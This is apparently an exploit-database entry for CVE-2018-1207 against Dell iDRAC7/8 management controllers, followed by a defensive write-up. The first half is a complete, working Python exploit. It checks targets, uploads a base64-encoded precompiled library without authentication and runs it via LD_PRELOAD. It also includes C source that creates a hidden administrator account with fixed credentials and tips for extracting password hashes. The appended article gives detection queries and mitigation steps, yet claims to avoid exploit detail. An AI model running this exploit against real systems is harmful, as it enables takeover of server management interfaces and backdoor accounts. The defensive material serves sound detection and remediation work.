Dell EMC iDRAC7/iDRAC8 2.52.52.52 - Remote Code Execution (RCE)
# Exploit Title: Dell EMC iDRAC7/iDRAC8 2.52.52.52 - Remote Code Execution (RCE)
via file upload
# Date: 2024-08-28
# Exploit Author: Photubias
# Vendor Homepage: https://dell.com
# Vendor Advisory: [1] https://dl.dell.com/manuals/all-products/esuprt_solutions_int/esuprt_solutions_int_solutions_resources/dell-management-solution-resources_White-Papers6_en-us.pdf
# Version: integrated Dell Remote Access Console v7 & v8 < 2.52.52.52
# Tested on: iDRAC 7 & 8
# CVE: CVE-2018-1207
r'''
Copyright 2024 Photubias(c)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
File name CVE-2018-1207.py
written by Photubias
CVE-2018-1207 is an unauthenticated file upload and
so library execution vulnerability on the HTTPS web interface.
This exploit contains a checker and a builtin exploit to add a webuser for remote admin access
# Manual verification example, if libraries are returned, the target is vulnerable:
# curl -ik "http://192.168.1.100//cgi-bin/login?LD_DEBUG=files"
Feel free to scan your network via the iDRAC fingerprinter to find vulnerable systems:
https://github.com/tijldeneut/Security/blob/master/iDRAC-fingerprinter.py
This is a native implementation, written in Python 3 and only requires requests (pip3 install requests)
Works equally well on Windows as Linux (as MacOS, probably ;-)
Features: vulnerability checker + exploit
WARNING: The built-in payload is precompiled and does this:
- Configure USER ID 13 with username 'user', password 'Passw0rd' and as an iDRAC webadmin
- Any user that might be at ID 13 will be overridden and is unrecoverable
- TIP1: use racadm for command line access after exploitation (also uses TCP/443)
- TIP2: use racadm to retrieve user hash with command: racadm -r <ip> -u user -p Passw0rd get iDRAC.Users.2
'''
import requests, optparse, base64, struct, time
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
requests.warnings.filterwarnings('ignore', category=DeprecationWarning)
iTimeout = 10
sPayloadCode ='f0VMRgEBAQAAAAAAAAAAAAMAKgABAAAAAAAAADQAAAAMFgAAAgAAADQAIAAGACgAGwAaAAEAAAAAAAAAAAAAAAAAAABMCAAATAgAAAUAAAAAAAEAAQAAABQPAAAUDwEAFA8BABwBAAAkAQAABgAAAAAAAQACAAAAKA8AACgPAQAoDwEA2AAAANgAAAAGAAAABAAAAAQAAAD0AAAA9AAAAPQAAAAkAAAAJAAAAAQAAAAEAAAAUeV0ZAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAgAAABS5XRkFA8AABQPAQAUDwEA7AAAAOwAAAAEAAAAAQAAAAQAAAAUAAAAAwAAAEdOVQALCdJHnMP8W7dmozLVuMvNLF1lEAMAAAAHAAAABAAAAAYAAAAFAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAADAAAAAgAAAAEAAAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABGAAAAAAAAAAAAAAAiAAAAEAAAAAAAAAAAAAAAIAAAAFoAAAAAAAAAAAAAABIAAAABAAAAAAAAAAAAAAAgAAAAVQAAAAAAAAAAAAAAEgAAACwAAAAAAAAAAAAAACAAAAAAX19nbW9uX3N0YXJ0X18AX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemUAZm9yawBleGVjbHAAbGliYy5zby42AEdMSUJDXzIuMgAAAAACAAEAAgABAAIAAQABAAEAYQAAABAAAAAAAAAAEmlpDQAAAgBrAAAAAAAAABQPAQClAAAAFAUAAAAQAQClAAAAABABACAQAQCjAQAAAAAAACQQAQCjAgAAAAAAACgQAQCjBAAAAAAAACwQAQCjBgAAAAAAABAQAQCkAQAAAAAAABQQAQCkAwAAAAAAABgQAQCkBAAAAAAAABwQAQCkBQAAAA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8BABgPAAAIAAAAAAAAAAAAAAAEAAAAAAAAAK8AAAABAAAAAwAAACAPAQAgDwAACAAAAAAAAAAAAAAABAAAAAAAAAC2AAAABgAAAAMAAAAoDwEAKA8AANgAAAAFAAAAAAAAAAQAAAAIAAAAvwAAAAEAAAADAAAAABABAAAQAAAEAAAAAAAAAAAAAAAEAAAAAAAAAMUAAAABAAAAAwAAAAQQAQAEEAAALAAAAAAAAAAAAAAABAAAAAQAAADKAAAACAAAAAMAAAAwEAEAMBAAAAgAAAAAAAAAAAAAAAQAAAAAAAAAzwAAAAEAAAAwAAAAAAAAADAQAAArAAAAAAAAAAAAAAABAAAAAQAAAAEAAAACAAAAAAAAAAAAAABcEAAAUAMAABkAAAAvAAAABAAAABAAAAAJAAAAAwAAAAAAAAAAAAAArBMAAIUBAAAAAAAAAAAAAAEAAAAAAAAAEQAAAAMAAAAAAAAAAAAAADEVAADYAAAAAAAAAAAAAAABAAAAAAAAAA=='
#> For the source code of this pre-compiled C code, see below
## Main program
class CustomHTTPAdapter(requests.adapters.HTTPAdapter):
def init_poolmanager(self, *args, **kwargs):
context = requests.ssl.create_default_context()
context.set_ciphers('ALL:@SECLEVEL=0')
context.check_hostname = False
context.minimum_version = requests.ssl.TLSVersion.SSLv3
super().init_poolmanager(*args, **kwargs, ssl_context=context)
def callURL(sURL, oSession, bData=None, lstProxies={}, boolVerbose=False):
try:
if bData: oResponse = oSession.post(sURL, data=bData, proxies=lstProxies, verify=False) ## Removed timeout here, as it may take a long time to upload files
else: oResponse = oSession.get(sURL, proxies=lstProxies, verify=False, timeout = iTimeout)
except: oResponse = None
return oResponse
def checkVuln(sIP, oSession, lstProxies={}, boolVerbose=False):
oResponse = callURL(f'https://{sIP}/cgi-bin/login?LD_DEBUG=files', oSession, lstProxies = lstProxies)
if not oResponse is None and 'calling init: /lib/' in oResponse.text:
if boolVerbose:
print('[*] Data returned: ')
print(oResponse.text)
return True
return False
def uploadAndRunLibrary(bData, oSession, sIP, lstProxies, boolVerbose=False):
iFFLAGS = 1
bFAlias = b'RACPKSSHAUTHKEY1'
bLib = bFAlias + (32 - len(bFAlias))*b'\0'
bLib += struct.pack('<L', len(bData))
bLib += struct.pack('<L', iFFLAGS)
bLib += bData
oResp = callURL(f'https://{sIP}/cgi-bin/putfile', oSession, bLib, lstProxies, boolVerbose)
if not oResp is None and oResp.status_code == 200:
print('[+] File upload successful, giving the system 5 seconds before execution')
for i in range(5,0,-1):
print(i, end='\r')
time.sleep(1)
else:
print('[-] Error uploading a file, maybe timeout issue, exiting now')
exit()
oResp = callURL(f'https://{sIP}/cgi-bin/discover?LD_PRELOAD=/tmp/sshpkauthupload.tmp', oSession, None, lstProxies, boolVerbose)
if not oResp is None and oResp.status_code == 200:
if boolVerbose: print('[+] Response on executing the library: \n{}'.format(oResp.text))
else:
print('[-] Error executing the library, maybe timeout issue, exiting now')
exit()
return True
def main():
sUsage = (
'usage: %prog [options] IP/FQDN \n'
'Example: CVE-2018-1207.py 192.168.0.100\n\n'
'This script verifies CVE-2018-1207 and then configures/overwrites an admin user with ID 13\n'
'Built-in creds: username \'user\' and password \'Passw0rd\''
)
parser = optparse.OptionParser(usage=sUsage)
parser.add_option('--proxy', '-p', dest='proxy', help='Optional: HTTP proxy to use, e.g. 127.0.0.1:8080')
parser.add_option('--verbose', '-v', dest='verbose', help='Optional: be verbose, default False', action='store_true', default = False)
(options, args) = parser.parse_args()
if len(args) == 0: exit(sUsage)
sIP = args[0]
oSession = requests.Session()
oSession.mount('https://', CustomHTTPAdapter())
if options.proxy: lstProxies = {'https':options.proxy}
else: lstProxies={}
print('[+] Checking if https://{} is vulnerable'.format(sIP))
if checkVuln(sIP, oSession, lstProxies, options.verbose):
print('[+] Success, target seems vulnerable')
input('[?] Proceed to exploit and overwrite user ID 13? Press enter to continue or Ctrl+C to cancel now')
print('[+] Okay, uploading the pre-compiled file now, this might take a while: ')
if uploadAndRunLibrary(base64.b64decode(sPayloadCode), oSession, sIP, lstProxies, options.verbose): print('[+] Succesfully started the reconfiguration of user ID 13')
print('\n[+] All done, please allow 5 to 10 minutes for file execution and then\n open a browser to https://{} and log in (user / Passw0rd)\n or retrieve some hashes via the CLI tool racadm'.format(sIP))
if __name__ == '__main__':
main()
'''
[adduser.c]
#include <unistd.h>
#include <stdio.h>
static void main(void) __attribute__((constructor));
static void main(void)
{
int pid1 = fork();
if(!pid1) {
execlp("racadm", "racadm", "config", "-g", "cfgUserAdmin", "-i", "13", "-o", "cfgUserAdminUserName", "user", (char*) NULL);
}
int pid2 = fork();
if(!pid2) {
execlp("racadm", "racadm", "config", "-g", "cfgUserAdmin", "-i", "13", "-o", "cfgUserAdminPassword", "Passw0rd", (char*) NULL);
}
int pid3 = fork();
if(!pid3) {
execlp("racadm", "racadm", "config", "-g", "cfgUserAdmin", "-i", "13", "-o", "cfgUserAdminPrivilege", "0x000001ff", (char*) NULL);
}
int pid4 = fork();
if(!pid4) {
execlp("racadm", "racadm", "config", "-g", "cfgUserAdmin", "-i", "13", "-o", "cfgUserAdminEnable", "1", (char*) NULL);
}
// Note: it takes 5 to 10 minutes before these 4 commands are executed
}
// Install "gcc-10-sh4-linux-gnu" (or replace gcc-10 with gcc-11 or newer) and compile the code like this:
// sh4-linux-gnu-gcc-10 -shared -fPIC adduser.c -o adduser.so
''' Dell EMC iDRAC7 / iDRAC8 CVE-2018-1207 — Remote Code Execution via File Upload (overview, detection, and mitigation)
This article explains the CVE-2018-1207 vulnerability affecting Integrated Dell Remote Access Controller (iDRAC) — historically observed on iDRAC7 and iDRAC8 deployments — and provides practical, defensive guidance for detection, mitigation, and incident response. It focuses on non-actionable technical context, operational impact, and risk-reduction strategies so defenders can prioritize remediation and hunt for indicators of compromise (IoCs).
Executive summary
- CVE-2018-1207 is a remote code execution (RCE) vulnerability tied to unauthenticated file upload behavior in some iDRAC builds (affecting certain versions of iDRAC7 / iDRAC8 / related remote management software).
- An attacker able to reach the device’s HTTPS management interface could upload a specially crafted library and arrange for it to be executed by the appliance, leading to full control of the management plane.
- Impact includes loss of administrative control of server management, credential exposure, persistent backdoors in the management firmware, and lateral movement risk to the protected servers and management network.
- Mitigation: apply vendor-supplied firmware updates and management-console patches, reduce exposure of iDRAC interfaces, and implement monitoring and containment controls.
Technical overview (non-actionable)
The vulnerability arises from an unauthenticated HTTP(S) endpoint that accepts file uploads and does not sufficiently validate or restrict the uploaded payload. In vulnerable builds the agent responsible for discovery or other administrative functions may load dynamic libraries from temporary locations, and an attacker can place a library that the service later executes. The critical risk is that execution occurs with elevated privileges inside the management environment, allowing configuration changes and the creation of administrative accounts.
Important: this section intentionally avoids step-by-step exploit details. The goal is to explain the mechanism so defenders can reason about detection and controls.
Affected components and versions
| Component | Typical impact | Remediation status |
|---|---|---|
| iDRAC7 / iDRAC8 — certain firmware/IRC console builds | Unauthenticated file upload leads to possible RCE | Patched by Dell in updated iDRAC firmware and management console releases; verify vendor bulletins |
| Integrated Dell Remote Access Console (versions < 2.52.52.52) | Associated management tooling may include vulnerable components | Upgrade to vendor-recommended versions |
Risk and real-world impact
- Compromise of the iDRAC often yields persistent administrative access to server hardware independent of guest OS controls.
- Attackers can create or modify management accounts, exfiltrate configuration and credential material, or use the management plane as a pivot to internal networks.
- Because iDRAC is intended for out-of-band management, it's often reachable from a management VLAN or via jump hosts; internet exposure dramatically increases risk.
Prioritization guidance
- High priority if iDRAC interfaces are internet-reachable or reachable from untrusted networks.
- Immediate action if there are signs of unexpected new administrative accounts, unexplained configuration changes, or unknown uploads to management endpoints.
- Medium priority for isolated management VLAN devices with recent backups and monitoring in place.
Detection: indicators of compromise (IoCs)
Defenders should hunt for anomalous activity around the iDRAC management interface. The following classes of telemetry are high value:
- Web server logs that show unexpected POST/PUT requests to management CGI endpoints, or upload-like activity to temporary locations.
- Requests that include unusual environment overrides (e.g., requests that reference dynamic loader environment variables) or requests that cause unexpected server-side library load messages to appear in responses or logs.
- Creation of new administrative users, sudden privilege changes, or changes to account enablement flags in iDRAC configuration.
- Unexpected child processes or transient files created in /tmp or other temporary directories on the management plane.
- Out-of-band process execution that runs racadm (or equivalent management CLI) or similar tools at odd times.
Example defensive searches and rules (safe, non-exploit queries)
Below are defensive hunting examples you can adapt to your environment. These queries do not include exploit payloads — they search logs for suspicious patterns and administrative changes.
# Example: search web access logs for uploads to CGI endpoints (NGINX/Apache combined log format)
# (Adapt the path and log source to your environment)
grep -E "POST|PUT" /var/log/nginx/access.log | grep -E "/cgi-bin/|/putfile|/discover"
Explanation: this simple shell snippet filters web server logs for POST/PUT requests to CGI-like endpoints often used by iDRAC web services. Tailor to your access log locations and formats.
# Example Splunk search for management console activity and environment overrides
index=web_logs sourcetype=access_combined
("/cgi-bin/" OR "/putfile" OR "/discover")
| stats count by src_ip, uri, http_method, user_agent
Explanation: this Splunk search aggregates requests to likely management URIs by source IP and user agent. Unusual sources or rare user agents merit investigation.
# Example SIEM rule: alert on new or changed admin users via racadm/config
# Pseudocode: generate alert if iDRAC config changes to admin users observed
IF (audit_log contains "cfgUserAdmin" OR event_source == "racadm") AND action IN ("create","modify") THEN alert("iDRAC admin account change")
Explanation: many management systems log configuration changes. Monitor those logs for cfgUserAdmin or other admin changes and trigger an investigation when detected.
Immediate containment and incident response steps
- Isolate the affected iDRAC device from untrusted networks (disconnect from internet, block at firewall or switch port but preserve management connectivity for forensic capture).
- Preserve logs and exports: collect iDRAC audit logs, web server logs, system logs, and any syslog/remote logging targets.
- Capture volatile state if possible: process lists, open network sockets, and temporary filesystem snapshots to investigate loaded modules and running processes.
- Reset credentials and rotate any keys or secrets that may have been exposed — but only after forensic captures if you are preserving evidence.
- Apply vendor-recommended firmware and management console patches before placing the device back into production.
- If compromise is confirmed, consider rebuilding the management appliance from firmware images after wiping, or following vendor guidance for secure recovery.
Remediation and long-term mitigations
- Apply vendor patches: consult Dell’s security advisories and update iDRAC firmware and management console software to fixed versions. Keep an inventory of device firmware and verify patch status.
- Network segmentation: restrict iDRAC interfaces to a management network accessible only from authorized jump hosts; enforce ACLs and firewall rules to allow only required admin IPs and ports.
- Authentication and access control: require multifactor authentication for management access where supported; avoid password reuse between management and server OS accounts.
- Service exposure: disable unnecessary management services and close unused ports. Avoid exposing iDRAC to the internet unless absolutely required and protected by VPN/zero-trust controls.
- Centralize logging and monitoring: forward iDRAC logs to a hardened SIEM or log-aggregation service for longer retention and correlation with network and host telemetry.
- Change default accounts: verify there are no default or weak credentials on management interfaces and enforce strong password policies.
Hardening checklist
- Inventory all iDRAC/iLO/IMM interfaces and vendor management consoles.
- Ensure firmware is up-to-date with vendor security patches.
- Limit physical and network access to management ports and VLANs.
- Use jump boxes or bastion hosts with MFA for all out-of-band access.
- Monitor for anomalous user creation, privilege escalation, and unexpected outbound network traffic from the management plane.
- Schedule regular audits for configuration drift and unauthorized changes.
Forensics notes and evidence collection
Collect the following where possible and legal in your environment:
- iDRAC audit and system logs (including any racadm logs or management CLI logs)
- Web server access and error logs from the management interface
- Snapshots of the management filesystem, especially /tmp and any directories where temporary uploads occur
- Process lists, running binaries, and loaded libraries
- Network captures of management interface traffic (pcap) for analysis of attacker commands or data exfiltration
Responsible disclosure and vendor coordination
If you identify suspected exploitation, contact Dell support or your vendor security team immediately and provide collected telemetry to accelerate investigation. Follow your organization’s incident response plan and, where applicable, coordinate with legal and compliance teams. For broader community sharing, provide redacted IoCs and findings to threat intelligence communities after vendor notification.
Useful references
- Dell security advisories and firmware release notes — always consult the vendor for official patch and remediation guidance.
- Standard incident response playbooks for out-of-band management compromises.
- Network segmentation and management-plane hardening best practices from industry frameworks (e.g., CIS Benchmarks, NIST).
Conclusion
CVE-2018-1207 illustrates the high impact of management-plane vulnerabilities. While such vulnerabilities can enable severe compromises, defenders can reduce risk substantially by keeping firmware current, limiting exposure of management interfaces, centralizing logging, and monitoring for configuration changes and anomalous uploads. Rapid containment and careful forensic collection are essential if exploitation is suspected.